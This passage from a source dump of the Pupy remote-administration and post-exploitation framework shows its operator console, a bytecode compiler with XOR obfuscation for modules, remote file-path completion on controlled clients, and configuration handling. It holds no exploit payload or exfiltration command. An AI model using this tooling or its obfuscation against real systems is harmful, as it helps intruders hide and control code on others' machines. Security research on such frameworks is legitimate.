line):\n        \"\"\"\n         class overwritten from stdlib to avoid some disturbing stack traces\n        \"\"\"\n        cmd, arg, line = self.parseline(line)\n        if not line:\n            return self.emptyline()\n        if cmd is None:\n            return self.default(line)\n        self.lastcmd = line\n        if line == 'EOF':\n            self.lastcmd = ''\n        if cmd == '':\n            return self.default(line)\n        else:\n            try:\n                func = getattr(self, 'do_' + cmd)\n            except AttributeError:\n                func = None\n            if not func:\n                return self.default(line)\n            return func(arg)\n\n    def execute(self, line, clients_filter=None):\n        if isinstance(line, bytes):\n            line = line.decode(DEFAULT_MULTIBYTE_CP)\n\n        if line.startswith('!'):\n            os.system(line[1:])\n            return\n\n        try:\n            self.commands.execute(\n                self.pupsrv, self,\n                self.pupsrv.config, line,\n                clients_filter)\n\n            self.completion_matches = None\n\n        except PupyModuleUsageError as e:\n            prog, message, usage = e.args\n            self.display(Line(Error(message, prog)))\n            self.display(usage)\n\n        except PupyModuleExit:\n            pass\n\n        except InvalidCommand as e:\n            self.display(Error(\n                'Unknown (or unavailable) command {}. Use help -M to '\n                'list available commands and modules'.format(e)))\n\n        except (PupyModuleError, LauncherError,\n                NotImplementedError, ValueError) as e:\n            if str(e) and str(e) != 'None':\n                self.display(Error(e))\n\n        if self.pupsrv.finishing.is_set():\n            return True\n\n    def init_readline(self):\n        readline.set_history_length(self.config.getint('cmdline', 'history_size', fallback=10000))\n        try:\n            readline.read_history_file(self.history_file)\n        except Exception:\n            pass\n        self.init_completer()\n\n    def cmdloop(self, intro=None):\n        closed = False\n\n        while not closed:\n            try:\n                cmd.Cmd.cmdloop(self, intro)\n                closed = True\n\n            except KeyboardInterrupt:\n                self.intro=\"\"\n                self.stdout.write(b'\\n')\n\n            except Exception as e:\n                logger.exception('cmd error: %s', e)\n\n                msg = as_term_bytes(Error(traceback.format_exc()))\n                self.redraw_line(msg)\n                closed = True\n\n    def init_completer(self):\n        readline.set_pre_input_hook(self.pre_input_hook)\n        readline.set_completer_delims(' \\t')\n\n    def completenames(self, text, *ignored):\n        try:\n            completer = self.commands.completer(\n                self.pupsrv, self, self.config, text)\n\n            return completer(text)\n        except Exception as e:\n            logger.exception(e)\n\n    def pre_input_hook(self):\n        # readline.redisplay()\n        pass\n\n    def emptyline(self):\n        \"\"\" do nothing when an emptyline is entered \"\"\"\n        pass\n\n    def do_EOF(self, arg):\n        \"\"\" ignore EOF \"\"\"\n        self.stdout.write('\\n')\n\n    def do_help(self, arg):\n        \"\"\" show this help \"\"\"\n\n        try:\n            self.commands.execute(\n                self.pupsrv, self, self.pupsrv.config,\n                'help {}'.format(arg)\n            )\n\n        except PupyModuleUsageError as e:\n            prog, message, usage = e.args\n            self.display(Line(Error(message, prog)))\n            self.display(usage)\n\n        except PupyModuleExit:\n            pass\n\n    def acquire_io(self, requirements, amount, background=False, pipe=None):\n\n        stream = requirements != REQUIRE_NOTHING\n\n        if requirements in (REQUIRE_REPL, REQUIRE_TERMINAL):\n            if amount > 1:\n                raise NotImplementedError(\n                    'This UI does not support more than 1 repl or terminal'\n                )\n\n            if pipe:\n                raise NotImplementedError(\n                    'This UI does not support pipelining of repl or terminal'\n                )\n\n            if requirements == REQUIRE_TERMINAL:\n                stdout2 = os.dup(self.stdout.fileno())\n                return [\n                    RawTerminal(\n                        self.stdin,\n                        os.fdopen(stdout2, 'wb', 0),\n                        self.config.getboolean('cmdline', 'shadow_screen')\n                    )\n                ]\n            else:\n                return [\n                    IOGroup(self.stdin, self.stdout, pipe=pipe)\n                ]\n\n        elif amount == 1 and not background:\n            return [\n                IOGroup(None, ObjectStream(self.display, stream, pipe=pipe))\n            ]\n        else:\n            return [\n                IOGroup(\n                    None, ObjectStream(stream=stream, pipe=pipe)\n                ) for _ in xrange(amount)\n            ]\n\n    def process(self, job, background=False, daemon=False, unique=False):\n        if background or daemon:\n            if not unique:\n                self.pupsrv.add_job(job)\n\n            self.display(ServiceInfo('Background job: {}'.format(job)))\n            return\n\n        job.worker_pool.join(on_interrupt=job.interrupt)\n\n        if job.module.io not in (REQUIRE_REPL, REQUIRE_TERMINAL):\n            self.summary(job)\n\n    def summary(self, job):\n        need_title = len(job) > 1\n        modules = len(job.pupymodules)\n\n        for idx, instance in enumerate(job.pupymodules):\n            if not instance.stdout:\n                continue\n\n            if need_title:\n                self.display(Title(str(instance.client)))\n\n            for block in instance.stdout.getvalue():\n                self.display(block, instance.stdout.is_stream)\n\n            if idx < modules-1:\n                self.display(NewLine(0))\n\n    def display(self, text, nocrlf=False, to_bytes=False):\n        with self.display_lock:\n            try:\n                text = as_term_bytes(text)\n            except Exception as e:\n                if logger.getEffectiveLevel() == logging.DEBUG:\n                    logger.exception('display error: %s', e)\n\n            self.stdout.write(text)\n\n            if not nocrlf:\n                self.stdout.write(b'\\n')\n\n    def redraw_line(self, msg=b''):\n        buf = as_term_bytes(\n            readline.get_line_buffer()\n        )\n\n        msg = as_term_bytes(msg)\n        prompt = as_term_bytes(self.prompt)\n\n        self.stdout.write(\n            b''.join([\n                STOR_CUR,\n                CUR_LEFT,\n                DEL_RIGHT,\n                msg,\n                b'\\n',\n                prompt,\n                buf,\n                LOAD_CUR\n            ])\n        )\n\n        try:\n            readline.redisplay()\n        except Exception:\n            traceback.print_exc()\n\n    def display_srvinfo(self, msg):\n        msg = colorize(b'[*] ', 'blue') + as_term_bytes(msg)\n        self.redraw_line(msg)\n\n    def display_success(self, msg):\n        return self.display(Success(msg))\n\n    def display_error(self, msg):\n        return self.display(Error(msg))\n\n    def display_warning(self, msg):\n        return self.display(Warn(msg))\n\n    def display_info(self, msg):\n        return self.display(Info(msg))\n\n    def postcmd(self, stop, line):\n        readline.write_history_file(self.history_file)\n        # readline.redisplay()\n        return stop\n\n    def complete(self, text, state):\n        if state == 0:\n            line = readline.get_line_buffer().lstrip()\n\n            try:\n                context = CompletionContext(\n                    self.pupsrv, self, self.config, self.commands\n                )\n\n                compfunc, module, args = self.commands.completer(context, line)\n                self.completion_matches = compfunc(module, args, text, context)\n\n            except Exception as e:\n                if logger.getEffectiveLevel() == logging.DEBUG:\n                    logger.exception('Completion error: %s', e)\n\n        try:\n            if self.completion_matches:\n                return self.completion_matches[state]\n\n        except IndexError:\n            return None\n\n    def _complete_path(self, path=None):\n        \"Perform completion of filesystem path.\"\n        if not path:\n            return os.listdir('.')\n        dirname, rest = os.path.split(path)\n        tmp = dirname if dirname else '.'\n        res = [\n            os.path.join(dirname, p)\n            for p in os.listdir(tmp) if p.startswith(rest)\n        ]\n        # more than one match, or single match which does not exist (typo)\n        if len(res) > 1 or not os.path.exists(path):\n            return res\n        # resolved to a single directory, so return list of files below it\n        if os.path.isdir(path):\n            return [os.path.join(path, p) for p in os.listdir(path)]\n        # exact file match terminates this completion\n        return [path + ' ']\n\n    def complete_read(self, text, line, begidx, endidx):\n        tab = line.split(' ', 1)\n        if len(tab) >= 2:\n            return self._complete_path(tab[1])\n\n\nclass PupyCmdLoop(object):\n    def __init__(self, pupyServer):\n        self.cmd = PupyCmd(pupyServer)\n        self.pupysrv = pupyServer\n        self.stopped = Event()\n\n    def loop(self):\n        while not self.stopped.is_set() and not self.pupysrv.finished.is_set():\n            try:\n                self.cmd.cmdloop()\n                self.stopped.set()\n            except Exception:\n\n                time.sleep(0.1)  # to avoid flood in case of exceptions in loop\n                self.cmd.intro = []\n\n        self.pupysrv.stop()\n\n    def stop(self):\n        self.stopped.set()\n"
  },
  {
    "path": "pupy/pupylib/PupyCompile.py",
    "content": "# -*- coding: utf-8 -*-\n\n#                  WARNING !!!!\n\n# __future__ will influence compiled files\n# This must not be used, due to errors in standard libraries\n\n# from __future__ import absolute_import\n# from __future__ import division\n# from __future__ import print_function\n# from __future__ import unicode_literals\n\nimport sys\nimport ast\nimport marshal\nimport logging\n\ntry:\n    from .PupyLogger import getLogger\n    logger = getLogger('compiler')\nexcept ValueError:\n    # If PupyCompile imported directly (build_library_zip.py)\n    logger = logging\n\nif sys.version_info.major > 2:\n\n    xrange = range\n    unicode = str\n\n\nclass Compiler(ast.NodeTransformer):\n    def __init__(self, data, path=False, main=False, docstrings=False):\n        source = data\n        if path:\n            with open(data, 'rb') as src:\n                source = src.read()\n\n        self._main = main\n        self._docstrings = docstrings\n\n        ast.NodeTransformer.__init__(self)\n\n        self._source_ast = None\n\n        try:\n            self._source_ast = ast.parse(source)\n\n        except TypeError as e:\n            logger.error('Invalid input: %s (%s)', data, e)\n            raise\n\n        except SyntaxError as e:\n            if path:\n                logger.error(\n                    'Compilation error: %s %s:%s', e.msg, data, e.lineno\n                )\n            else:\n                logger.error(\n                    'Compilation error: %s line: %s',\n                    e.msg, source.split('\\n')[e.lineno]\n                )\n\n    def compile(self, filename, obfuscate=False, raw=False, magic=b'\\x00'*8):\n        if self._source_ast is None:\n            return None\n\n        body = marshal.dumps(\n            compile(self.visit(self._source_ast), filename, 'exec')\n        )\n\n        if obfuscate:\n            body_len = len(body)\n            offset = 0 if raw else 8\n\n            output = bytearray(body_len + 8)\n            for i, x in enumerate(body):\n                output[i+offset] = (\n                    ord(x) ^ ((2 ** ((65535 - i) % 65535)) % 251)\n                )\n\n            if raw:\n                for i in xrange(8):\n                    output[i] = 0\n\n            return output\n\n        elif raw:\n            return body\n\n        else:\n            return magic + body\n\n    def visit_If(self, node):\n        if hasattr(node.test, 'id') and node.test.id == '__debug__':\n            if node.orelse:\n                return node.orelse\n            else:\n                return [\n                    ast.Pass(\n                        lineno=node.lineno,\n                        col_offset=node.col_offset\n                    )\n                ]\n        if not self._main and type(node.test) == ast.Compare \\\n            and type(node.test.left) == ast.Name \\\n                and node.test.left.id == '__name__':\n            for comparator in node.test.comparators:\n                if type(comparator) == ast.Str and comparator.s == '__main__':\n                    return node.orelse\n        elif hasattr(node.test, 'operand') and type(node.test.op) == ast.Not \\\n            and type(node.test.operand) == ast.Name and \\\n                node.test.operand.id == '__debug__':\n            return node.body\n\n        return node\n\n    def visit_Expr(self, node):\n        if type(node.value) == ast.Call and type(\n            node.value.func) == ast.Attribute and type(\n                node.value.func.value) == ast.Name and \\\n                    node.value.func.value.id == 'logging' and \\\n                        node.value.func.attr == 'debug':\n            return None\n        elif (type(node.value) == ast.Str):\n            if not self._docstrings:\n                node.value.s = \"\"\n\n        return node\n\n    def visit_Assign(self, node):\n        if self._docstrings:\n            return node\n\n        if (type(node.value) == ast.Str) and all(\n                type(target) == ast.Name and target.id in (\n                    '__copyright__', '__doc__')\n                for target in node.targets):\n            node.value.s = ''\n\n        return node\n\n\ndef pupycompile(\n    data, filename='', path=False, obfuscate=False,\n        raw=False, debug=False, main=False, target=None):\n\n    if target is not None:\n        major, minor = target\n\n    if not debug:\n        logger.info(data if path else filename)\n        data = Compiler(data, path, main).compile(filename, obfuscate, raw)\n    else:\n        source = data\n        if path:\n            with open(data, 'rb') as sfile:\n                source = sfile.read()\n\n        logger.info('debug: %s', data if path else filename)\n        data = marshal.dumps(compile(source, filename, 'exec'))\n\n    if data is None:\n        raise ValueError('Compilation failed (debug={})'.format(debug))\n\n    return data\n\n\nif __name__ == '__main__':\n    import argparse\n    import os\n    import stat\n    import sys\n    import imp\n    import struct\n\n    WHITELIST = (\n        'c_parser'\n    )\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-f', '--fake-file-path', default=False, action='store_true', help='Fake file path (number)')\n    parser.add_argument('-M', '--delete-main', default=False, action='store_true', help='Remove __main__')\n    parser.add_argument('-D', '--delete-docstrings', default=False, action='store_true', help='Detele __doc__')\n    parser.add_argument('files', metavar='<file.py>', nargs='+', help='File(s) to compile')\n    args = parser.parse_args(sys.argv[1:])\n\n    def pcompile(fake_filepath, filepath, main=False, docstrings=False):\n        logger.info(filepath)\n        filepath_noext, ext = os.path.splitext(filepath)\n        filepath_basename = os.path.basename(filepath_noext)\n\n        if filepath_basename in WHITELIST:\n            main = True\n            docstrings = True\n\n        try:\n            with open(filepath_noext + '.pyo', 'wb') as out:\n                mtime = int(os.stat(filepath).st_mtime)\n                out.write(Compiler(filepath, True, main, docstrings).compile(\n                    fake_filepath or filepath, False, False,\n                    struct.pack('<4sl', imp.get_magic(), mtime)))\n\n        except (OSError, IOError, SyntaxError) as e:\n            logger.error('%s: %s', filepath, e)\n\n    fid = 0\n\n    for f in args.files:\n        if stat.S_ISDIR(os.stat(f).st_mode):\n            for root, _, files in os.walk(f):\n                for ff in files:\n                    if not ff.endswith('.py'):\n                        continue\n\n                    ff = os.path.join(root, ff)\n\n                    if args.fake_file_path:\n                        fname = 'f:{}'.format(fid)\n                        fid += 1\n                    else:\n                        fname = ff\n\n                    pcompile(\n                        fname, ff,\n                        not args.delete_main,\n                        not args.delete_docstrings\n                    )\n\n        else:\n            if args.fake_file_path:\n                fname = 'f:{}'.format(fid)\n            else:\n                fname = f\n                fid += 1\n\n            pcompile(\n                fname, f,\n                not args.delete_main,\n                not args.delete_docstrings\n            )\n"
  },
  {
    "path": "pupy/pupylib/PupyCompleter.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport os\nimport os.path\nimport stat\n\nfrom argparse import REMAINDER\n\nfrom .PupyErrors import PupyModuleExit, PupyModuleUsageError\nfrom .payloads.dependencies import paths\n\nif sys.version_info.major > 2:\n    xrange = range\n\n\ndef package_completer(module, args, text, context):\n    clients = context.server.get_clients(context.handler.default_filter)\n\n    paths_to_scan = set()\n    completions = set()\n\n    for client in clients:\n        for path in paths(client.platform, client.arch, client.is_posix()):\n            paths_to_scan.add(path)\n\n    module_path = text.split('.')\n\n    path_to_scan = os.path.sep.join(module_path)\n    for path in paths_to_scan:\n        full_path_to_scan = os.path.sep.join([path, path_to_scan])\n        dir_to_scan = os.path.dirname(full_path_to_scan)\n        if not os.path.isdir(dir_to_scan):\n            continue\n\n        for item in os.listdir(dir_to_scan):\n            try:\n                item_info = os.stat(os.path.join(dir_to_scan, item))\n            except OSError:\n                continue\n\n            completion = ''\n            if stat.S_ISDIR(item_info.st_mode) and os.path.isfile(\n                    os.path.join(os.path.join(dir_to_scan, item, '__init__.py'))):\n                completion = item\n            elif stat.S_ISREG(item_info.st_mode) and item.endswith('.py'):\n                completion = os.path.splitext(item)[0]\n\n            completion = '.'.join(module_path[:-1] + [completion])\n            if completion.startswith(text) and not item.startswith('__init__.py'):\n                completions.add(completion)\n\n    return list(completions)\n\n\ndef commands_completer(module, args, text, context):\n    aliases = dict(context.config.items('aliases'))\n    modules = list(context.server.iter_modules(\n        by_clients=True,\n        clients_filter=context.handler.default_filter))\n    commands = context.commands.list(False)\n\n    return [\n        x+' ' for x in aliases if x.startswith(text)\n    ] + [\n        x+' ' for x,_ in commands if x.startswith(text)\n    ] + [\n        x.get_name()+' ' for x in modules if x.get_name().startswith(text)\n    ]\n\n\ndef list_completer(lines):\n    def func(module, args, text, context):\n        return [line+\" \" for line in lines if line.startswith(text)]\n    return func\n\n\ndef void_completer(module, args, text, context):\n    return []\n\n\ndef remote_path_completer(module, args, text, context, dirs=None):\n    results = []\n    try:\n        import logging\n        clients = context.server.get_clients(context.handler.default_filter)\n        if len(clients) != 1:\n            return []\n\n        path = text or ''\n\n        client = clients[0]\n        client.load_package(['pupyutils.basic_cmds', 'scandir'])\n        complete = client.remote('pupyutils.basic_cmds', 'complete')\n        path, results = complete(path, dirs=dirs)\n        if path is not None:\n            results = [\n                (\n                    '/'.join([path, result]) if result else path\n                ) for result in results\n            ]\n\n    except Exception as e:\n        logging.exception(\"rpc: %s\", e)\n\n    return results\n\n\ndef remote_dirs_completer(module, args, text, context):\n    return remote_path_completer(module, args, text, context, dirs=True)\n\n\ndef remote_files_completer(module, args, text, context):\n    return remote_path_completer(module, args, text, context, dirs=False)\n\n\ndef path_completer(module, args, text, context):\n    completions=[]\n\n    if not text:\n        completions=os.listdir('.')\n    else:\n        try:\n            dirname=os.path.dirname(text)\n            if not dirname:\n                dirname=\".\"\n            basename=os.path.basename(text)\n            for f in os.listdir(dirname):\n                if f.startswith(basename):\n                    if os.path.isdir(os.path.join(dirname,f)):\n                        completions.append(os.path.join(dirname,f)+os.sep)\n                    else:\n                        completions.append(os.path.join(dirname,f)+\" \")\n        except:\n            pass\n\n    return completions\n\n\ndef module_name_completer(module, args, text, context):\n\n    del module\n\n    modules = (\n        x.get_name() for x in context.server.iter_modules(\n        by_clients=True,\n        clients_filter=context.handler.default_filter)\n    )\n\n    return [module for module in modules if module.startswith(text) or not text]\n\n\ndef module_args_completer(module, args, text, context):\n    try:\n        args = module.arguments\n        module = context.server.get_module(module.module)\n    except ValueError:\n        return []\n\n    completer = module.arg_parser.get_completer()\n\n    text = text\n\n    return completer.complete(module, args, text, context)\n\n\nclass CompletionContext(object):\n\n    __slots__ = (\n        'server', 'handler', 'config', 'commands'\n    )\n\n    def __init__(self, server, handler, config, commands):\n        self.server = server\n        self.handler = handler\n        self.config = config\n        self.commands = commands\n\n\nclass PupyModCompleter(object):\n    def __init__(self, parser):\n        self.conf = {\n            'positional_args': [],\n            'optional_args': [],\n        }\n\n        self.parser = parser\n\n    def add_positional_arg(self, names, **kwargs):\n        \"\"\" names can be a string or a list to pass args aliases at once \"\"\"\n        if not type(names) is list and not type(names) is tuple:\n            names = [names]\n\n        for name in names:\n            self.conf['positional_args'].append((name, kwargs))\n\n    def add_optional_arg(self, names, **kwargs):\n        \"\"\" names can be a string or a list to pass args aliases at once \"\"\"\n        if not type(names) is list and not type(names) is tuple:\n            names = [names]\n\n        for name in names:\n            self.conf['optional_args'].append((name, kwargs))\n\n    def get_optional_nargs(self, name):\n        for n, kwargs in self.conf['optional_args']:\n            if name == n:\n                if 'action' in kwargs:\n                    action = kwargs['action']\n                    if action in ('store_true', 'store_false'):\n                        return 0\n                break\n\n        return 1\n\n    def get_optional_args(self, nargs=None):\n        if nargs is None:\n            return [\n                x[0] for x in self.conf['optional_args']\n            ]\n        else:\n            return [\n                x[0] for x in self.conf['optional_args'] \\\n                if self.get_optional_nargs(x[0]) == nargs\n            ]\n\n    def get_positional_args(self):\n        return self.conf['positional_args']\n\n    def get_positional_arg_index(self, text, tab, context):\n        posmax = len(self.get_positional_args())\n\n        if not tab:\n            return 0, False\n\n        elif not self.get_positional_args():\n            return 0, False\n\n        elif posmax < 2:\n            return 0, False\n\n        opt0 = self.get_optional_args(nargs=0)\n        opt1 = self.get_optional_args(nargs=1)\n        ltab = len(tab)\n\n        i = 0\n        omit = 0\n\n        for i in xrange(0, ltab):\n            if i >= omit:\n                if i-omit >= posmax:\n                    return posmax, True\n\n                name, kwargs = self.get_positional_args()[i-omit]\n                if 'nargs' in kwargs and kwargs['nargs'] == REMAINDER:\n                    return i - omit, True\n\n            if tab[i] in opt0 or (i == ltab-1 and any(opt.startswith(tab[i]) for opt in opt0)):\n                omit += 1\n\n            elif tab[i] in opt1 or (i == ltab-1 and any(opt.startswith(tab[i]) for opt in opt1)):\n                omit += 1\n\n            elif i > 1 and tab[i-1] in opt1:\n                omit += 1\n\n        if not text:\n            i += 1\n\n        if i < omit:\n            return 0, False\n\n        pos = i - omit\n        remainder = False\n\n        name, kwargs = self.get_positional_args()[pos]\n        if 'nargs' in kwargs and kwargs['nargs'] == REMAINDER:\n            remainder = True\n\n        return pos, remainder\n\n    def get_optional_args_completer(self, name):\n        return [\n            x[1][\"completer\"] for x in self.conf[\"optional_args\"] if x[0]==name\n        ][0]\n\n    def get_positional_args_completer(self, index):\n        if index < len(self.get_positional_args()):\n            return self.get_positional_args()[index][1]['completer']\n\n    def complete(self, module, args, text, context):\n        if text in self.get_optional_args(nargs=1):\n            completer = self.get_optional_args_completer(text)\n            return completer(module, args, text, context)\n\n        positional_index, remainder = self.get_positional_arg_index(\n            text, args, context)\n\n        if text.startswith('-') and not remainder:\n            return [\n                x+' ' for x in self.get_optional_args() if x.startswith(text)\n            ]\n        else:\n            completer = self.get_positional_args_completer(positional_index)\n            if not completer:\n                return None\n\n            if args:\n                try:\n                    module, args = self.parser.parse_known_args(args)\n                except (PupyModuleUsageError, PupyModuleExit):\n                    pass\n\n            return completer(module, args, text, context)\n"
  },
  {
    "path": "pupy/pupylib/PupyConfig.py",
    "content": "# -*- coding: utf-8-*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = [\n    'Tags', 'PupyConfig', 'Error', 'NoSectionError'\n]\n\ntry:\n    from ConfigParser import (\n        RawConfigParser, Error, NoSectionError, NoOptionError\n    )\n\n    setattr(RawConfigParser, 'read_file', RawConfigParser.readfp)\nexcept ImportError:\n    from configparser import (\n        RawConfigParser, Error, NoSectionError, NoOptionError\n    )\n\nfrom os import path, makedirs\nfrom netaddr import IPAddress\n\nimport sys\nimport platform\nimport random\nimport string\nimport datetime\nimport errno\nimport shutil\nimport os\n\nfrom pupy.network.lib.convcompat import (\n    as_unicode_string, as_native_string\n)\n\nfrom .PupyLogger import getLogger\nfrom pupy.pupylib import ROOT\nlogger = getLogger('config')\n\nif sys.version_info.major > 2:\n    long = int\n    xrange = range\n\n\nTAGS_SECTION = as_native_string('tags')\nPATHS_SECTION = as_native_string('paths')\n\n\nclass Tags(object):\n    def __init__(self, config, node):\n        self.config = config\n        self.node = as_native_string(node)\n\n    def __iter__(self):\n        for item in self.get():\n            yield as_unicode_string(item)\n\n    def get(self):\n        tags = self.config.get(TAGS_SECTION, self.node)\n        if not tags:\n            return set()\n\n        return set(\n            as_unicode_string(tag) for tag in tags.split(',')\n        )\n\n    def set(self, tags):\n        encoded_tags = as_native_string(\n            ','.join([\n                as_unicode_string(x, fail='convert') for x in tags\n            ])\n        )\n\n        return self.config.set(TAGS_SECTION, self.node, encoded_tags)\n\n    def add(self, *tags):\n        current_tags = self.get()\n        for tag in tags:\n            current_tags.add(tag)\n        self.set(current_tags)\n\n    def remove(self, *tags):\n        current_tags = self.get()\n        for tag in tags:\n            if tag in current_tags:\n                current_tags.remove(tag)\n\n        if current_tags:\n            self.set(current_tags)\n        else:\n            self.clear()\n\n    def clear(self):\n        self.config.remove_option(TAGS_SECTION, self.node)\n\n    def __str__(self):\n        return as_native_string(','.join(self.get()))\n\n\nclass PupyConfig(RawConfigParser):\n\n    def __init__(self, config='pupy.conf'):\n        self.root = path.abspath(ROOT)\n        self.user_root = path.expanduser(path.join('~', '.pupy'))\n        self.default_file = path.join(self.root, \"conf\", config+'.default')\n        self.user_path = path.join(self.user_root, config)\n\n        prefer_workdir = self.getboolean(PATHS_SECTION, 'prefer_workdir')\n        if not prefer_workdir:\n            if not os.path.exists(self.user_root):\n                os.makedirs(self.user_root)\n            if not os.path.exists(self.user_path):\n                shutil.copyfile(self.default_file, self.user_path)\n                logger.info(\"No default pupy config file, creating one in {}\".format(self.user_path))\n\n        self.files = [\n            self.default_file,\n            self.user_path\n        ]\n        self.randoms = {}\n        self.command_line = {}\n\n        RawConfigParser.__init__(self)\n\n        for file in self.files:\n            try:\n                self.read_file(open(file, 'r'))\n\n                logger.info(\n                    'Loaded config data from %s', file\n                )\n            except (IOError, OSError) as e:\n                if e.errno == errno.EEXIST:\n                    pass\n\n    def tags(self, node):\n        if type(node) in (int, long):\n            node = '{:012x}'.format(node)\n\n        return Tags(self, node)\n\n    def by_tags(self, tags):\n        available_tags = {\n            as_unicode_string(k): tuple([\n                as_unicode_string(tag)\n                for tag in self.get('tags', k).split(',')\n            ]) for k in self.options('tags')\n        }\n\n        if '&' in tags:\n            tags = tags.split('&')\n            op_filter = all\n        elif '|' in tags:\n            tags = tags.split('|')\n            op_filter = any\n        else:\n            tags = tags.split(',')\n            op_filter = any\n\n        result = []\n\n        for node in available_tags:\n            node_tags = available_tags[node]\n            if op_filter(x in node_tags for x in tags):\n                result.append(node)\n\n        return result\n\n    def save(self, project=True, user=False):\n        if project:\n            project_dir = path.dirname(self.project_path)\n            if not path.isdir(project_dir):\n                makedirs(project_dir)\n\n            with open(self.project_path, 'w') as config:\n                self.write(config)\n\n            logger.info('Config saved to %s', self.project_path)\n\n        if user:\n            user_dir = path.dirname(self.user_path)\n            if not path.isdir(user_dir):\n                makedirs(user_dir)\n\n            with open(self.user_path, 'w') as config:\n                self.write(config)\n\n            logger.info('Config saved to %s', self.user_path)\n\n    def get_path(self, filepath, substitutions={}, create=True, dir=False):\n        prefer_workdir = self.getboolean(PATHS_SECTION, 'prefer_workdir')\n        from_config = self.get(PATHS_SECTION, filepath)\n\n        if from_config:\n            filepath = as_unicode_string(from_config)\n\n        retfilepath = ''\n\n        # 1. If path is absolute filepath use as-is\n        if path.isabs(filepath):\n            retfilepath = filepath\n\n        # 2. If file exists in workdir then use it\n        elif path.exists(filepath):\n            retfilepath = filepath\n\n        # 3. If file exists in userdir then use it\n        elif path.exists(path.join(self.user_root, filepath)):\n            retfilepath = path.join(self.user_root, filepath)\n\n        # 4. If file exists in root dir, and we are not going to\n        #    create something new (default) then use it\n        elif path.exists(path.join(self.root, filepath)) and not create:\n            retfilepath = path.join(self.root, filepath)\n\n        # 5. File/path is not exists. We need to create one\n        else:\n            if prefer_workdir:\n                retfilepath = filepath\n            else:\n                retfilepath = path.join(self.user_root, filepath)\n\n        substitutions.update({\n            '%t': as_unicode_string(\n                datetime.datetime.now(), fail='convert'\n            ).replace(' ', '_').replace(':', '-')\n        })\n\n        for key in substitutions:\n            value = substitutions[key]\n            try:\n                value = value.replace('/', '_').replace('..', '_')\n                if platform.system == 'Windows':\n                    value = value.replace(':', '_')\n            except Exception:\n                pass\n\n            retfilepath = retfilepath.replace(\n                key, as_unicode_string(value, fail='convert')\n            )\n\n        if dir and path.isdir(retfilepath):\n            return path.abspath(retfilepath)\n        elif not dir and path.isfile(retfilepath):\n            return path.abspath(retfilepath)\n        elif path.exists(retfilepath):\n            raise ValueError('{} is not a {}'.format(\n                path.abspath(retfilepath),\n                'dir' if dir else 'file'))\n        elif create:\n            if dir:\n                makedirs(retfilepath)\n            else:\n                dirpath = path.dirname(retfilepath)\n                if not path.isdir(dirpath):\n                    makedirs(dirpath)\n\n            return path.abspath(retfilepath)\n        else:\n            return path.abspath(retfilepath)\n\n    def get_folder(self, folder='data', substitutions={}, create=True):\n        return self.get_path(folder, substitutions, create, True)\n\n    def get_file(self, folder='data', substitutions={}, create=True):\n        return self.get_path(folder, substitutions, create)\n\n    def remove_option(self, section, key):\n        if section != 'randoms':\n            RawConfigParser.remove_option(\n                self,\n                as_native_string(section),\n                as_native_string(key)\n            )\n\n        elif section in self.command_line and \\\n                key in self.command_line[section]:\n            del self.command_line[section][key]\n            if not self.command_line[section]:\n                del self.command_line[section]\n        else:\n            if key in self.randoms:\n                del self.randoms[key]\n            elif key == 'all':\n                self.randoms = {}\n\n    def set(self, section, key, value, **kwargs):\n        if kwargs.get('cmd', False):\n            if section not in self.command_line:\n                self.command_line[section] = {}\n            self.command_line[section][key] = str(value)\n        elif section != 'randoms':\n            section = as_native_string(section)\n            key = as_native_string(key)\n\n            if section in self.command_line and \\\n                    key in self.command_line[section]:\n                del self.command_line[section][key]\n                if not self.command_line[section]:\n                    del self.command_line[section]\n\n            try:\n                RawConfigParser.set(self, section, key, value)\n            except NoSectionError:\n                logger.debug('Create new section {}'.format(section))\n                RawConfigParser.add_section(self, section)\n                RawConfigParser.set(self, section, key, value)\n\n        else:\n            if not key:\n                N = kwargs.get('random', 10)\n                while True:\n                    key = ''.join(\n                        random.choice(\n                            string.ascii_letters + string.digits\n                        ) for _ in range(N)\n                    )\n\n                    if key not in self.randoms:\n                        break\n\n            self.randoms[key] = value\n            return key\n\n    def getboolean(self, section, option, default=False):\n        section = as_native_string(section)\n        option = as_native_string(option)\n\n        try:\n            result = RawConfigParser.getboolean(self, section, option)\n\n            if result is None:\n                return default\n\n            return result\n        except AttributeError:\n            return default\n\n    def get(\n        self, section, option, default=None,\n            random=10, new=True, **kwargs):\n        try:\n            if section == 'randoms':\n                if option not in self.randoms:\n                    if new:\n                        self.randoms[option] = ''.join(\n                            random.choice(\n                                string.ascii_letters + string.digits\n                            ) for _ in xrange(random)\n                        )\n\n                return self.randoms.get(option, None)\n\n            elif section in self.command_line and 